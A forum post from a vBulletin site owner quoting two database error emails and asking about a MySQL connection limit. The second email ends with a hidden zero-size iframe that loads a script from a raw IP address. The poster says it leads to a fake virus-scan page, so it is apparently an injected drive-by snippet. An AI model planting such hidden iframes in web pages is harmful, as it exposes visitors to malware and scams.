DB Error message Question

[meissenation]

I have two questions for the wonderful people here...

On 4/9/2008 and prior, my vBulletin Database Error e-mails looked like:

Database error in vBulletin 3.6.6:

Invalid SQL:
SELECT userid, usergroupid, IF(displaygroupid=0, usergroupid, displaygroupid) AS displaygroupid, username, posts FROM user ORDER BY posts DESC LIMIT 0,;

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number : 1064
Date : Wednesday, April 9th 2008 @ 05:47:27 AM
Script : http://mifbody.com/vbulletin/topXstats.php
Referrer :
IP Address : 74.6.16.161
Username : Unregistered
Classname : vb_database

On 4/23/2008 and ever since then, the next database error that I received via e-mail looked like this:

Database error in vBulletin :

mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: User mifbody has already more than 'max_user_connections' active connections
/home/mifbody/public_html/vbulletin/includes/class_core.php on line 274

MySQL Error :
Error Number :
Date : Wednesday, April 23rd 2008 @ 01:40:25 AM
Script : http://www.mifbody.com/gallery/showp...photo=662&sl=j
Referrer :
IP Address : 64.1.215.163
Username :
Classname : vb_database<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

I obviously don't pay enough attention to it, because I never noticed the iframe HTML until just now. Then I couldn't believe I missed it for the past month.

So -- two questions:

1. What the heck is the iframe doing in my database error? I took out the count.php?o=2 and it takes me to some fake virus scan page.
2. How do I increase the active connections so that I don't get this message? We only had some 50 guests and members on and then I got the error message 3 times.